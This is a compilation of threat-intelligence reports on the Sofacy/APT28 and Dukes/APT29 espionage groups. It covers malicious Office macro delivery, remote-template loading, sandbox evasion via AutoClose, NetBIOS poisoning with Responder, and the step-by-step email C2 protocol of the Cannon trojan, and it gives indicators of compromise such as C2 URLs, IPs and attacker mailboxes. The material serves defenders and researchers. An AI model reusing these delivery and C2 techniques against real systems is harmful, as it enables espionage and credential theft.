Luckystrike , which was presented at DerbyCon 6 in September 2016 , is a Microsoft PowerShell based tool that generates malicious delivery documents by allowing a user to add a macro to an Excel or Word document to execute an embedded payload .
We believe Sofacy used this tool , as the macro within their delivery document closely resembles the macros found within Luckystrike .
To confirm our suspicions , we generated a malicious Excel file with Luckystrike and compared its macro to the macro found within Sofacy ’s delivery document .
We found that there was only one difference between the macros besides the random function name and random cell values that the Luckystrike tool generates for each created payload .
The one non-random string difference was the path to the “ .txt ” and “ .exe ” files within the command “ certutil -decode ” , as the Sofacy document used “ C:\Programdata\ ” for the path whereas the Luckystrike document used the path stored in the Application.UserLibraryPath environment variable .
Figure 3 below shows a diff with the LuckyStrike macro on the left and Sofacy macro on the right , where everything except the file path and randomly generated values in the macro are exactly the same , including the obfuscation attempts that use concatenation to build strings .
With much of our research , our initial direction and discovery of emerging threats is generally some combination of previously observed behavioral rulesets or relationships .
In this case , we had observed a strange pattern emerging from the Sofacy group over the past year within their command and control infrastructure .
Patterning such as reuse of WHOIS artifacts , IP reuse , or even domain name themes are common and regularly used to group attacks to specific campaigns .
In this case , we had observed the Sofacy group registering new domains , then placing a default landing page which they then used repeatedly over the course of the year .
No other parts of the C2 infrastructure amongst these domains contained any overlapping artifacts .
Instead , the actual content within the body of the websites was an exact match in each instance .
Specifically , the strings 866-593-54352 ( notice it is one digit too long ) , 403-965-2341 , or the address 522 Clematis .
Suite 3000 was repeatedly found in each instance .
ThreatConnect had made the same observation regarding this patterning in September 2017 .
Hotfixmsupload.com is particularly interesting as it has been identified as a Sofacy C2 domain repeatedly , and was also brought forth by Microsoft in a legal complaint against STRONTIUM ( Sofacy ) as documented here .
Leveraging this intelligence allowed us to begin predicting potential C2 domains that would eventually be used by the Sofacy group .
In this scenario , the domain cdnverify.net was registered on January 30 , 2018 and just two days later , an attack was launched using this domain as a C2 .
The Sofacy group should no longer be an unfamiliar threat at this stage .
They have been well documented and well researched with much of their attack methodologies exposed .
They continue to be persistent in their attack campaigns and continue to use similar tooling as in the past .
This leads us to believe that their attack attempts are likely still succeeding , even with the wealth of threat intelligence available in the public domain .
Application of the data remains challenging , and so to continue our initiative of establishing playbooks for adversary groups , we have added this attack campaign as the next playbook in our dataset .
Palo Alto Networks customers are protected from this threat by :WildFire detects all SofacyCarberp payloads with malicious verdicts .
AutoFocus customers can track these tools with the Sofacy , SofacyMacro and SofacyCarberp .
Traps blocks the Sofacy delivery documents and the SofacyCarberp payload .
SHA256 : ff808d0a12676bfac88fd26f955154f8884f2bb7c534b9936510fd6296c543e8 SHA256 : 12e6642cf6413bdf5388bee663080fa299591b2ba023d069286f3be9647547c8 SHA256 : cb85072e6ca66a29cb0b73659a0fe5ba2456d9ba0b52e3a4c89e86549bc6e2c7 SHA256 : 23411bb30042c9357ac4928dc6fca6955390361e660fec7ac238bbdcc8b83701 Sofacy : Cdnverify.net Sofacy Filename : Upcoming_Events_February_2018.xls .
APT28 Targets Hospitality Sector , Presents Threat to Travelers .
Release_Time : 2017-08-11 Report_URL : https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.htmlFireEye has moderate confidence that a campaign targeting the hospitality sector is attributed to Russian actor APT28 .
We believe this activity , which dates back to at least July 2017 , was intended to target travelers to hotels throughout Europe and the Middle East .
The actor has used several notable techniques in these incidents such as sniffing passwords from Wi-Fi traffic , poisoning the NetBIOS Name Service , and spreading laterally via the EternalBlue exploit .
FireEye has uncovered a malicious document sent in spear phishing emails to multiple companies in the hospitality industry , including hotels in at least seven European countries and one Middle Eastern country in early July .
Successful execution of the macro within the malicious document results in the installation of APT28 ’s signature GAMEFISH malware .
The malicious document – Hotel_Reservation_Form.doc ( MD5 : 9b10685b774a783eabfecdb6119a8aa3 ) , contains a macro that base64 decodes a dropper that then deploys APT28 ’s signature GAMEFISH malware ( MD5 : 1421419d1be31f1f9ea60e8ed87277db ) , which uses mvband.net and mvtband.net as command and control ( C2 ) domains .
APT28 is using novel techniques involving the EternalBlue exploit and the open source tool Responder to spread laterally through networks and likely target travelers .
Once inside the network of a hospitality company , APT28 sought out machines that controlled both guest and internal Wi-Fi networks .
No guest credentials were observed being stolen at the compromised hotels ; however , in a separate incident that occurred in Fall 2016 , APT28 gained initial access to a victim ’s network via credentials likely stolen from a hotel Wi-Fi network .
Upon gaining access to the machines connected to corporate and guest Wi-Fi networks , APT28 deployed Responder .
Responder facilitates NetBIOS Name Service ( NBT-NS ) poisoning .
This technique listens for NBT-NS ( UDP ) broadcasts from victim computers attempting to connect to network resources .
Once received , Responder masquerades as the sought-out resource and causes the victim computer to send the username and hashed password to the attacker-controlled machine .
APT28 used this technique to steal usernames and hashed passwords that allowed escalation of privileges in the victim network .
To spread through the hospitality company ’s network , APT28 used a version of the EternalBlue SMB exploit .
This was combined with the heavy use of py2exe to compile Python scripts .
This is the first time we have seen APT28 incorporate this exploit into their intrusions .
In the 2016 incident , the victim was compromised after connecting to a hotel Wi-Fi network .
Twelve hours after the victim initially connected to the publicly available Wi-Fi network , APT28 logged into the machine with stolen credentials .
These 12 hours could have been used to crack a hashed password offline .
After successfully accessing the machine , the attacker deployed tools on the machine , spread laterally through the victim's network , and accessed the victim's OWA account .
The login originated from a computer on the same subnet , indicating that the attacker machine was physically close to the victim and on the same Wi-Fi network .
We cannot confirm how the initial credentials were stolen in the 2016 incident ; however , later in the intrusion , Responder was deployed .
Since this tool allows an attacker to sniff passwords from network traffic , it could have been used on the hotel Wi-Fi network to obtain a user ’s credentials .
Cyber espionage activity against the hospitality industry is typically focused on collecting information on or from hotel guests of interest rather than on the hotel industry itself , though actors may also collect information on the hotel as a means of facilitating operations .
Business and government personnel who are traveling , especially in a foreign country , often rely on systems to conduct business other than those at their home office , and may be unfamiliar with threats posed while abroad .
APT28 isn’t the only group targeting travelers .
South Korea nexus Fallout Team ( aka Darkhotel ) has used spoofed software updates on infected Wi-Fi networks in Asian hotels , and Duqu 2.0 malware has been found on the networks of European hotels used by participants in the Iranian nuclear negotiations .
Additionally , open sources have reported for several years that in Russia and China , high-profile hotel guests may expect their hotel rooms to be accessed and their laptops and other electronic devices accessed .
These incidents show a novel infection vector being used by APT28 .
The group is leveraging less secure hotel Wi-Fi networks to steal credentials and a NetBIOS Name Service poisoning utility to escalate privileges .
APT28 ’s already wide-ranging capabilities and tactics are continuing to grow and refine as the group expands its infection vectors .
Travelers must be aware of the threats posed when traveling – especially to foreign countries – and take extra precautions to secure their systems and data .
Publicly accessible Wi-Fi networks present a significant threat and should be avoided whenever possible .
Sofacy Continues Global Attacks and Wheels Out New Cannon Trojan .
Release_Time : 2018-11-20Report_URL : https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/In late October and early November 2018 , Unit 42 intercepted a series of weaponized documents that use a technique to load remote templates containing a malicious macro .
These types of weaponized documents are not uncommon but are more difficult to identify as malicious by automated analysis systems due to their modular nature .
Specific to this technique , if the C2 server is not available at the time of execution , the malicious code cannot be retrieved , rendering the delivery document largely benign .
The weaponized documents targeted several government entities around the globe , including North America , Europe , and a former USSR state .
Fortunately for us , the C2 servers for several of these documents were still operational allowing for retrieval of the malicious macro and the subsequent payloads .
Analysis revealed a consistent first-stage payload of the well-documented Zebrocy Trojan .
Additional collection of related documents revealed a second first-stage payload that we have named ‘ Cannon ’ .
Cannon has not been previously observed in use by the Sofacy group and contains a novel email-based C2 communication channel .
email as a C2 channel is not a new tactic , but it is generally not observed in the wild as often as HTTP or HTTPS .
Using email as a C2 channel may also decrease the chance of detection , as sending email via non-sanctioned email providers may not necessarily construe suspicious or even malicious activity in many enterprises .
The activity discussed in this blog revolves around two of the multitude of weaponized documents that we collected .
These two documents shared multiple data artifacts , such as a shared C2 IP , shared author name , and shared tactics .
Details of the extended attack campaign associated with the Cannon Trojan will be discussed in a later blog .
A particularly interesting aspect of one of the two documents we analyzed was the filename used , crash list ( Lion Air Boeing 737 ).docx .
This is not the first instance of an adversary group using recent current events as a lure , but it is interesting to see this group attempt to capitalize on the attention of a catastrophic event to execute their attack .
The initial sample we intercepted was a Microsoft Word document ( SHA256 : 2cfc4b3686511f959f14889d26d3d9a0d06e27ee2bb54c9afb1ada6b8205c55f ) with the filename crash list ( Lion Air Boeing 737 ).docx using the author name Joohn .
This document appeared to be targeting a government organization dealing with foreign affairs in Europe via spear-phishing .
Once the user attempts to open the document , Microsoft Word immediately attempts to load the remote template containing a malicious macro and payload from the location specified within the settings.xml.rels file of the DOCX document .
If the C2 has already been taken offline the document will still open , but Word will be unable to retrieve the remote template and thus Word will not load a macro .
In this situation , Word will present the same lure document to the victim as seen in Figure 2 , but without the ability to enable macros via an Enable Content button .
Assuming the C2 is still operational however , Word loads the remote template ( SHA256 : f1e2bceae81ccd54777f7862c616f22b581b47e0dda5cb02d0a722168ef194a5 ) and the user is presented with the screen .
Once the victim presses the Enable content button , the embedded macro is executed .
The macros used for these delivery documents use a less common method of using the AutoClose function .
This is a form of anti-analysis as Word will not fully execute the malicious code until the user closes the document .
If an automated sandbox exits its analysis session without specifically closing out the document , the sandbox may miss the malicious activity entirely .
Once successfully executed , the macro will install a payload and save a document to the system .
Typically , we expect to see a decoy document saved to the system and later displayed to make the victim less suspicious of malicious activity ; however , in this case the document saved to the system was never displayed and does not contain any pertinent content to the Lion Air tragedy theme seen in the filename .
The macro obtains the document saved to the system from within the document stored as UserForm1.Label1.Caption and will write it to : %TEMP%\~temp.docm .
The macro obtains the payload saved to the system from within the document stored as UserForm1.Label2.Caption and will write it to : %APPDATA%\MSDN\~msdn.exe .
The macro executes this payload in a rather interesting way by loading the dropped ~temp.docm document and calling a function within its embedded macro to run the payload .
We believe the creator of this delivery document chose to run the payload from the dropped file as an evasion technique .
Also , the fact the initial macro uses this dropped document for the execution of the payload may also explain why the document did not contain any decoy contents .
To carry out this functionality , after writing the~temp.docm and ~msdn.exe files to the system , the initial macro will load the ~temp.docm file as a Word Document object and attempts to run the function Proc1 in the Module1 macro within the ~temp.docm file .
The Proc1 function within the Module1 does nothing more than build the %APPDATA%\MSDN\~msdn.exe path to the dropped payload and executes it using the built-in Shell function .
The payload dropped to the system ( SHA256 : 6ad3eb8b5622145a70bec67b3d14868a1c13864864afd651fe70689c95b1399a ) is a UPX packed Zebrocy variant written in the Delphi language .
This variant of Zebrocy is functionally very similar to the Delphi based payloads discussed in our previous publication on Sofacy attacks using Zebrocy earlier this year .
The developer of this particular payload configured it to use the following URL to communicate with as its C2 :The Zebrocy Trojan gathers system specific information that it will send to the C2 server via an HTTP POST request to the above URL .
Like other Zebrocy samples , this Trojan collects system specific information it will send to the C2 server by running the command SYSTEMINFO & TASKLIST on the command line and by enumerating information about connected storage devices .
This specific variant of Zebrocy will also send a screenshot of the victim host as a JPEG image to the C2 server .
The C2 server will then provide a secondary payload to the beacon in ASCII hexadecimal representation , which the Trojan will decode and write to the following location : %APPDATA%\Roaming\Audio\soundfix.exe .
During our analysis , the C2 server provided a secondary payload that functionally appeared similar to the initial Zebrocy sample .
The secondary payload was also written in Delphi and its developer configured it to communicate with its C2 server using HTTPS via the following URL : https://200.122.181.25/catalog/products/books.php .
We were able to collect a second delivery document that shared the Joohn author from the crash list ( Lion Air Boeing 737 ).docx document , as well as the 188.241.58.170 C2 IP to host its remote template .
Structurally this sample was very similar to the initially analyzed document , but the payload turned out to be a completely new tool which we have named Cannon .
The tool is written in C# whose malicious code exists in a namespace called cannon , which is the basis of the Trojan ’s name .
The Trojan functions primarily as a downloader that relies on emails to communicate between the Trojan and the C2 server .
To communicate with the C2 server , the Trojan will send emails to specific email addresses via SMTPS over TCP port 587 .
This tool also has a heavy reliance on EventHandlers with timers to run its methods in a specific order and potentially increase its evasion capability .
The overall purpose of Cannon is to use several email accounts to send system data ( system information and screenshot ) to the threat actors and to ultimately obtain a payload from an email from the actors .
In addition to the following step-by-step process illustrates how Cannon communicates with the actor-controlled C2 email address to obtain a secondary payload .
Cannon gathers system information and saves it to a file named ini .
The Trojan sends an email to sahro.bella7@post.cz with i.ini as the attachment , S_inf within the body and a subject with a unique system identifier via SMTPS from one of the following accounts : Bishtr.cam47 , Lobrek.chizh , Cervot.woprov .
Cannon takes a screenshot and saves it to a file named ops .
The Trojan sends an email to sahro.bella7@post.cz with sysscr.ops as the attachment , the string SCreen within the body and a subject with the unique system identifier via SMTPS from one of three previously used accounts .
The actors likely log into sahro.bella7@post.cz and process the system information and screenshot sent by the Trojan to determine if the compromised host is of interest .
If the actor wishes to download an additional payload to the compromised host , they will respond by sending emails in the following steps .
The actor sends an email to trala.cosh2@post.cz with the unique system identifier as a subject with a secondary email account and credentials in ASCII hexadecimal format within the message body .
This secondary email account is unknown at this time , so we will refer to it as “ secondary email account ” in future steps .
The actor sends an email to the secondary email account with the unique system identifier as a subject with a secondary payload attached with a filename of txt .
Cannon logs into the trala.cosh2@post.cz account via POP3S looking for emails with a subject that matches the unique system identifier .
Cannon opens the email with the correct subject and decodes the hexadecimal data in the body of the message to obtain the secondary email account .
Cannon acknowledges the receipt of the secondary email address by sending an email to sahro.bella7@post.cz with s.txt ( contains {SysPar = 65} string ) as the attachment , ok within the body and a subject with the unique system identifier via SMTPS from one of the three accounts from Step 1 .
The actor sends an email to trala.cosh2@post.cz with the unique system identifier as a subject with a file path that the Cannon Trojan will use to save the secondary payload .
Cannon logs into the secondary email account via POP3S looking for emails with a subject that matches the unique system identifier .
Cannon opens the email with the correct subject and saves the attachment named auddevc.txt .
Cannon acknowledges the receipt of file download by sending an email to sahro.bella7@post.cz with l.txt ( contains 090 string ) as the attachment , ok2 within the body and a subject with the unique system identifier via SMTPS from one of the three accounts from Step 1 .
Cannon logs into the trala.cosh2@post.cz account via POP3S looking for emails with a subject that matches the unique system identifier .
Cannon opens the email with the correct subject and decodes the hexadecimal data in the body of the message to obtain the file path that it will use to move the downloaded auddevc.txt file .
Cannon acknowledges the receipt of file path by sending an email to sahro.bella7@post.cz with s.txt ( contains {SysPar = 65} string ) as the attachment , ok3 within the body and a subject with the unique system identifier via SMTPS from one of the three accounts from Step 1 .
Cannon moves the downloaded file to the specified path .
Cannon acknowledges the successful move by sending an email to sahro.bella7@post.cz with l.txt ( contains 090 string ) as the attachment , ok4 within the body and a subject with the unique system identifier via SMTPS from one of the three accounts from Step 1 .
Cannon runs the downloaded file from the specified path .
Cannon acknowledges the successful execution by sending an email to sahro.bella7@post.cz with s.txt ( contains {SysPar = 65} string ) as the attachment , ok5 within the body and a subject with the unique system identifier via SMTPS from one of the three accounts from Step 1 .
The Sofacy threat group continues to target government organizations in the EU , US , and former Soviet states to deliver the Zebrocy tool as a payload .
In these attacks , the delivery documents used to install Zebrocy used remote templates , which increases the difficulty to analyze the attack as an active C2 server is needed to obtain the macro-enabled document .
The Sofacy group also leveraged the recent Lion Air disaster as a lure in one of these attacks , which continues to show a willingness to use current events in their social engineering themes .
Of note , we also discovered the Sofacy group using a very similar delivery document to deliver a new Trojan called Cannon .
Cannon uses SMTPS and POP3S as its C2 channel compared to Zebrocy that uses a more commonly observed HTTP or HTTPS based C2 .
This is not a new tactic but may be more effective at evading detection as the external hosts involved are a legitimate email service provider .
Add the layer of encryption that the SMTPS and POP3S protocols provide to the legitimate web-based service and you have a very difficult C2 channel to block While Sofacy ’s campaign delivering Zebrocy and Cannon remains active , Palo Alto Networks customers are protected from this threat in the following ways :AutoFocus customers can track these samples with the Zebrocy and Cannon WildFire detects the delivery documents , Zebrocy and Cannon payloads discussed in this blog with malicious verdicts .
Traps blocks the macro-ladened remote templates as Suspicious macro detected , as well as Zebrocy and Cannon payloads as Suspicious executable detected .
The IP addresses hosting remote templates and C2 services in these attacks are classified as Command and Control .
Delivery Hashes :2cfc4b3686511f959f14889d26d3d9a0d06e27ee2bb54c9afb1ada6b8205c55f af77e845f1b0a3ae32cb5cfa53ff22cc9dae883f05200e18ad8e10d7a8106392 .
Remote Template Hashes :f1e2bceae81ccd54777f7862c616f22b581b47e0dda5cb02d0a722168ef194a5 fc69fb278e12fc7f9c49a020eff9f84c58b71e680a9e18f78d4e6540693f557d .
Remote Templates :Zebrocy Hashes :Zebrocy C2 URLs :http://188.241.58.170/local/s3/filters.php https://200.122.181.25/catalog/products/books.php .
Cannon Hashes :Cannon email Accounts :sahro.bella7@post.cz trala.cosh2@post.cz bishtr.cam47@post.cz lobrek.chizh@post.cz cervot.woprov@post.cz .
THE DUKES 7 YEARS OF RUSSIAN CYBERESPIONAGE .
The Dukes are a well-resourced , highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making .
The Dukes primarily target Western governments and related organizations , such as government ministries and agencies , political think tanks , and governmental subcontractors .
Their targets have also included the governments of members of the Commonwealth of Independent States ; Asian , African , and Middle Eastern governments ; organizations associated with Chechen extremism ; and Russian speakers engaged in the illicit trade of controlled substances and drugs .
The Dukes are known to employ a vast arsenal of malware toolsets , which we identify as MiniDuke , CosmicDuke , OnionDuke , CozyDuke , CloudDuke , SeaDuke , HammerDuke , PinchDuke , and GeminiDuke .
In recent years , the Dukes have engaged in apparently biannual large-scale spear-phishing campaigns against hundreds or even thousands of recipients associated with governmental institutions and affiliated organizations .
The earliest activity we have been able to definitively attribute to the Dukes are two PinchDuke campaigns from November 2008 .
These campaigns use PinchDuke samples that were , according to their compilation timestamps , created on the 5th and 12th of November 2008 .
The campaign identifiers found in these two samples are respectively , “ alkavkaz.com20081105 ” and “ cihaderi.net20081112 ” .
The first campaign identifier , found in the sample compiled on the 5th , references alkavkaz.com , a domain associated with a Turkish website proclaiming to be the “ Chechan [sic] Informational Center ” .
The second campaign identifier , from the sample compiled on the 12th , references cihaderi.net , another Turkish website that claims to provide “ news from the jihad world ” and which dedicates a section of its site to Chechnya .
Due to a lack of other PinchDuke samples from 2008 or earlier , we are unable to estimate when the Duke operation originally began .
Based on our technical analysis of the known PinchDuke samples from 2008 however , we believe PinchDuke to have been under development by the summer of 2008 .
In fact , we believe that by the autumn of 2008 , the Dukes were already developing not one but at least two distinct malware toolsets .
This assertion is based on the oldest currently known sample of another Duke related toolset , GeminiDuke , which was compiled on the 26th of January 2009 .
This sample , like the early PinchDuke samples , appears to already be a “ fully-grown ” sample , which is why we believe GeminiDuke was under development by the autumn of 2008 .
That the Dukes were already developing and operating at least two distinct malware toolsets by the second half of 2008 suggests to us that either the size of their cyberespionage operation was already large enough to warrant such an arsenal of tools , or that they expected their operation to grow significantly enough in the foreseeable future to warrant the development of such an arsenal .
The origins of the Duke toolset names can be traced back to when researchers at Kaspersky Labs coined the term “ MiniDuke ” to identify the first Duke related malware they found .
As explained in their whitepaper , the researchers observed the surprisingly small MiniDuke backdoor being spread via the same exploit that was being used by a malware that they had already named ItaDuke ; the “ Duke ” part of this malware ’s name had in turn come about because it reminded the researchers of the notable Duqu threat .
Despite the shared history of the name itself however , it is important to note that there is no reason to believe that the Duke toolsets themselves are in any way related to the ItaDuke malware , or to Duqu for that matter .
As researchers continued discovering new toolsets that were created and used by the same group that had been operating MiniDuke , the new toolsets were also given “ Duke ” -derived names , and thus the threat actor operating the toolsets started to be commonly referred to as “ the Dukes ” .
The only other publicly used name for the threat actor that we are aware of is “ APT29 ” .
Based on the campaign identifiers found in PinchDuke samples discovered from 2009 , the targets of the Dukes group during that year included organizations such as the Ministry of Defense of Georgia and the ministries of foreign affairs of Turkey and Uganda .
Campaign identifiers from 2009 also reveal that by that time , the Dukes were already actively interested in political matters related to the United States ( US ) and the North Atlantic Treaty Organization ( NATO ) , as they ran campaigns targeting ( among other organizations ) a US based foreign policy think tank , another set of campaigns related to a NATO exercise held in Europe , and a third set apparently targeting what was then known as the Georgian “ Information Centre on NATO ” .
Of these campaigns , two clusters in particular stand out .
The first is a set of campaigns from the 16th and 17th of April , 2009 , that targeted a US based foreign policy think tank , as well as government institutions in Poland and the Czech Republic .
These campaigns utilized specially-crafted malicious Microsoft Word documents and PDF files , which were sent as e-mail attachments to various personnel in an attempt to infiltrate the targeted organizations .
We believe this cluster of campaigns had a joint goal of gathering intelligence on the sentiments of the targeted 5 countries with respect to the plans being discussed at the time for the US to locate their “ European Interceptor Site ” missile defense base in Poland , with a related radar station that was intended to be located in the Czech Republic .
Regarding the timing of these campaigns , it is curious to note that they began only 11 days after President Barack Obama gave a speech on the 5th of April declaring his intention to proceed with the deployment of these missile defenses .
The second notable cluster comprises of two campaigns that were possibly aimed at gathering information onThe first of these runs used the campaign identifier “ natoinfo_ge ” , an apparent reference to the www.natoinfo.ge website belonging to a Georgian political body that has since been renamed “ Information Centre on NATO and EU ” .
Although the campaign identifier itself doesn’t contain a date , we believe the campaign to have originated around the 7th of June 2009 , which was when the PinchDuke sample in question was compiled .
This belief is based on the observation that in all of the other PinchDuke samples we have analyzed , the date of the campaign identifier has been within a day of the compilation date .
The second campaign identifier , which we suspect may be related , is “ mod_ge_2009_07_03 ” from a month later and apparently targeting the Ministry of Defense of Georgia .
The spring of 2010 saw continued PinchDuke campaigns against Turkey and Georgia , but also numerous campaigns against other members of the Commonwealth of Independent States such as Kazakhstan , Kyrgyzstan , Azerbaijan and Uzbekistan .
Of these , the campaign with the identifier “ kaz_2010_07_30 ” , which possibly targeted Kazakhstan , is of note because it is the last PinchDuke campaign we have observed .
We believe that during the first half of 2010 , the Dukes slowly migrated from PinchDuke and started using a new infostealer malware toolset that we call CosmicDuke .
The first known sample of the CosmicDuke toolset was compiled on the 16th of January 2010 .
Back then , CosmicDuke still lacked most of the credential-stealing functionality found in later samples .
We believe that during the spring of 2010 , the credential and file stealing capabilities of PinchDuke were slowly ported to CosmicDuke , effectively making PinchDuke obsolete .
During this period of transition , CosmicDuke would often embed PinchDuke so that , upon execution , CosmicDuke would write to disk and execute PinchDuke .
Both PinchDuke and CosmicDuke would then operate independently on the same compromised host , including performing separate information gathering , data Exfiltration and communication with a command and control ( C&C ) server - although both malware would often use the same C&C server .
We believe the purpose of this parallel use was to ‘ fieldtest ’ the new CosmicDuke tool , while at the same time ensuring operational success with the tried-and-tested PinchDuke .
During this period of CosmicDuke testing and development , the Duke authors also started experimenting with the use of privilege escalation vulnerabilities .
Specifically , on the 19th of January 2010 security researcher Tavis Ormandy disclosed a local privilege escalation vulnerability ( CVE-2010-0232 ) affecting Microsoft Windows .
As part of the disclosure , Ormandy also included the source code for a proof-of- concept exploit for the vulnerability .
Just 7 days later , on the 26th of January , a component for CosmicDuke was compiled that exploited the vulnerability and allowed the tool to operate with higher privileges .
During 2011 , the Dukes appear to have significantly expanded both their arsenal of malware toolsets and their C&C infrastructure .
While the Dukes employed both hacked websites and purposely rented servers for their C&C infrastructure , the group rarely registered their own domain names , preferring instead to connect to their self- operated servers via IP addresses .
The beginning of 2011 however saw a significant break from that routine , when a large grouping of domain names was registered by the Dukes in two batches ; the first batch was registered on the 29th of January and the second on the 13th of February .
All the domains in both batches were initially registered with the same alias : “ John Kasai of Klagenfurt , Austria ” .
These domains were used by the Dukes in campaigns involving many of their different malware toolsets all the way until 2014 .
Like the “ MiniDuke loader ” , these “ John Kasai ” domains also provide a common thread tying together much of the tools and infrastructure of the Dukes .
By 2011 , the Dukes had already developed at least 3 distinct malware toolsets , including a plethora of supporting components such as loaders and persistence modules .
In fact , as a sign of their arsenal ’s breadth , they had already decided to retire one of these malware toolsets as obsolete after developing a replacement for it , seemingly from scratch .
The Dukes continued the expansion of their arsenal in 2011 with the addition of two more toolsets : MiniDuke and CozyDuke .
While all of the earlier toolsets – GeminiDuke , PinchDuke , and CosmicDuke – were designed around a core infostealer component , MiniDuke is centered on a simplistic backdoor component whose purpose is to enable the remote execution of commands on the compromised system .
The first observed samples of the MiniDuke backdoor component are from May 2011 .
This backdoor component however is technically very closely related to GeminiDuke , to the extent that we believe them to share parts of their source code .
The origins of MiniDuke can thus be traced back to the origins of GeminiDuke , of which the earliest observed sample was compiled in January of 2009 .
Unlike the simplistic MiniDuke toolset , CozyDuke is a highly versatile , modular , malware “ platform ” whose functionality lies not in a single core component but in an array of modules that it may be instructed to download from its C&C server .
These modules are used to selectively provide CozyDuke with just the functionality deemed necessary for the mission at hand .
CozyDuke ’s modular platform approach is a clear break from the designs of the previous Duke toolsets .
The stylistic differences between CozyDuke and its older siblings are further exemplified by the way it was coded .
All of the 4 previously mentioned toolsets were written in a minimalistic style commonly seen with malware ; MiniDuke even goes as far as having many components written in Assembly language .
CozyDuke however represents the complete opposite .
Instead of being written in Assembly or C , it was written in C++ , which provides added layers of abstraction for the developer ’s perusal , at the cost of added complexity .
Contrary to what might be expected from malware , early CozyDuke versions also lacked any attempt at obfuscating or hiding their true nature .
In fact , they were extremely open and verbose about their functionality - for example , early samples contained a plethora of logging messages in unencrypted form .
In comparison , even the earliest known GeminiDuke samples encrypted any strings that might have given away the malware ’s true nature .
Finally , early CozyDuke versions also featured other elements that one would associate more with a traditional software development project than with malware .
For instance , the earliest known CozyDuke version utilized a feature of the Microsoft Visual C++ compiler known as run-time error checking .
This feature added automatic error checking to critical parts of the program ’s execution at the cost , from a malware perspective , of providing additional hints that make the malware ’s functionality easier for reverse engineers to understand .
Based on these and other similar stylistic differences observed between CozyDuke and its older siblings , we speculate that while the older Duke families appear to be the work of someone with a background in malware writing ( or at the least in hacking ) , CozyDuke ’s author or authors more likely came from a software development background .
We still know surprisingly few specifics about the Dukes group ’s activities during 2012 .
Based on samples of Duke malware from 2012 , the Dukes do appear to have continued actively using and developing all of their tools .
Of these , CosmicDuke and MiniDuke appear to have been in more active use , while receiving only minor updates .
GeminiDuke and CozyDuke on the other hand appear to have been less used in actual operations , but did undergo much more significant development .
On the 12th of February 2013 , FireEye published a blogpost alerting readers to a combination of new Adobe Reader 0-day vulnerabilities , CVE-2013-0640 and CVE-2013-0641 , that were being actively exploited in the wild .
 8 days after FireEye ’s initial alert , Kaspersky spotted the same exploit being used to spread an entirely different malware family from the one mentioned in the original report .
On 27th February , Kaspersky and CrySyS Lab published research on this previously unidentified malware family , dubbing it MiniDuke .
As we now know , by February 2013 the Dukes group had been operating MiniDuke and other toolsets for at least 4 and a half years .
Their malware had not stayed undetected for those 4 and a half years .
In fact , in 2009 a PinchDuke sample had been included in the malware set used by the AV-Test security product testing organization to perform anti-virus product comparison reviews .
Until 2013 however , earlier Duke toolsets had not been put in a proper context .
That finally started to change in 2013 .
The MiniDuke samples that were spread using these exploits were compiled on the 20th of February , after the exploit was already publicly known .
One might argue that since this took place after the exploits were publicly mentioned , the Dukes simply copied them .
We however do not believe so .
As mentioned by Kaspersky , even though the exploits used for these MiniDuke campaigns were near-identical to those described by FireEye , there were nevertheless small differences .
Of these , the crucial one is the presence of PDB strings in the MiniDuke exploits .
These strings , which are generated by the compiler when using specific compilation settings , means that the components of the exploits used with MiniDuke had to have been compiled independently from those described by FireEye .
We do not know whether the Dukes compiled the components themselves or whether someone else compiled the components before handing them to the group .
This does however still rule out the possibility that the Dukes simply obtained copies of the exploit binaries described by FireEye and repurposed them .
In our opinion , this insistence on using exploits that are already under heightened scrutiny suggests the existence of at least one of three circumstances .
Firstly , the Dukes may have been confident enough in their own abilities ( and in the slowness of their opponents to react to new threats ) that they did not care if their targets may already be on the lookout for anyone exploiting these vulnerabilities .
Secondly , the value the Dukes intended to gain from these MiniDuke campaigns may have been so great that they deemed it worth the risk of getting noticed .
Or thirdly , the Dukes may have invested so much into these campaigns that by the time FireEye published their alert , the Dukes felt they could not afford to halt the campaigns .
We believe all three circumstances to have coexisted at least to some extent .
As will become evident in this report , this was not a one-off case but a recurring theme with the Dukes , in that they would rather continue with their operations as planned than retreat from operating under the spotlight .
As originally detailed in Kaspersky ’s whitepaper , the MiniDuke campaigns from February 2013 employed spear-phishing emails with malicious PDF file attachments .
These PDFs would attempt to silently infect the recipient with MiniDuke , while distracting them by displaying a decoy document .
The headings of these documents included “ Ukraine ’s NATO Membership Action Plan ( MAP ) Debates ” , “ The Informal Asia-Europe Meeting ( ASEM ) Seminar on Human Rights ” , and “ Ukraine ’s Search for a Regional Foreign Policy ” .
The targets of these campaigns , according to Kaspersky , were located variously in Belgium , Hungary , Luxembourg and Spain .
Kaspersky goes on to state that by obtaining log files from the MiniDuke command and control servers , they were able to identify high-profile victims from Ukraine , Belgium , Portugal , Romania , the Czech Republic , Ireland , the United States and Hungary .
After the February campaigns , MiniDuke activity appeared to quiet down , although it did not fully stop , for the rest of 2013 .
The Dukes group as a whole however showed no sign of slowing down .
In fact , we saw yet another Duke malware toolset , OnionDuke , appear first in 2013 .
Like CozyDuke , OnionDuke appears to have been designed with versatility in mind , and takes a similarly modular platform approach .
The OnionDuke toolset includes various modules for purposes such as password stealing , information gathering , denial of service ( DoS ) attacks , and even posting spam to the Russian social media network , VKontakte .
The OnionDuke toolset also includes a dropper , an information stealer variant and multiple distinct versions of the core component that is responsible for interacting with the various modules .
What makes OnionDuke especially curious is an infection vector it began using during the summer of 2013 .
To spread the toolset , the Dukes used a wrapper to combine OnionDuke with legitimate applications , created torrent files containing these trojanized applications , then uploaded them to websites hosting torrent files .
Victims who used the torrent files to download the applications would end up getting infected with OnionDuke .
For most of the OnionDuke components we observed , the first versions that we are aware of were compiled during the summer of 2013 , suggesting that this was a period of active development around this toolset .
Critically however , the first sample of the OnionDuke dropper , which we have observed being used only with components of this toolset , was compiled on the 17th of February 2013 .
This is significant because it suggests that OnionDuke was under development before any part of the Duke operation became public .
OnionDuke ’s development therefore could not have been simply a response to the outing of one of the other Duke malware , but was instead intended for use alongside the other toolsets .
This indication that the Dukes planned to use an arsenal of 5 malware toolsets in parallel suggests that they were operating with both significant resources and capacity .
